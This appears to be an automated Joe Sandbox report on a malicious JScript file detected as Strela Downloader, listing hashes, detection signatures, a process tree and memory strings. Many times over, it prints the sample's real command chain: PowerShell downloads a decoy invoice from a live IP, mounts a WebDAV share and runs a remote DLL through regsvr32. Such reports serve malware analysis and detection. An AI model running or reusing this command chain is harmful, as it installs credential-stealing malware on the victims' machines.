Edit tour

Windows Analysis Report
22388142366532662.js

Overview

General Information

Sample name:	22388142366532662.js
Analysis ID:	1588677
MD5:	43fad4c7c8c8447a50135089e51ae3d6
SHA1:	daaa254bf792c9a0ac1e6325247e60b251e86386
SHA256:	501ffba502049e5add7fdffc525a1dc52acf078fd4d87a72cb8f4af45a4845d2
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 4368 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22388142366532662.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2912 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5684 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 4416 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2104 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1824 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1688,i,10205647334591516316,599776967346867888,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 4460 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2724 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5696 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 4368	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2912, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5684, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2912, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5684, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22388142366532662.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22388142366532662.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22388142366532662.js", ProcessId: 4368, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22388142366532662.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4368, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, ProcessId: 2912, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22388142366532662.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4368, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, ProcessId: 2912, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22388142366532662.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4368, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, ProcessId: 2912, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22388142366532662.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4368, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, ProcessId: 2912, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22388142366532662.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4368, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, ProcessId: 2912, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22388142366532662.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22388142366532662.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22388142366532662.js", ProcessId: 4368, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2912, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5684, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4460, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2724, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5696, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4460, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2724, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22388142366532662.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4368, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll, ProcessId: 2912, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 22388142366532662.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 22388142366532662.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000002.2141172633.0000020087514000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2139928258.0000020087504000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2228244724.0000022B10078000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2217062097.0000022B100A9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2228341000.0000022B100A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.2217062097.0000022B100A9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2228341000.0000022B100A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/-;
Source: net.exe, 00000007.00000002.2228440226.0000022B100D0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2210392715.0000022B100CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/0~
Source: net.exe, 00000007.00000003.2217062097.0000022B100A9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2228341000.0000022B100A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/1;
Source: net.exe, 00000007.00000003.2217062097.0000022B100A9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2228341000.0000022B100A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Y
Source: net.exe, 00000007.00000002.2228244724.0000022B10078000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 00000009.00000002.3442814530.00000161912A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2221300032.0000016190FA0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 4368, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 22388142366532662.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/61@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4996:120:WilError_03
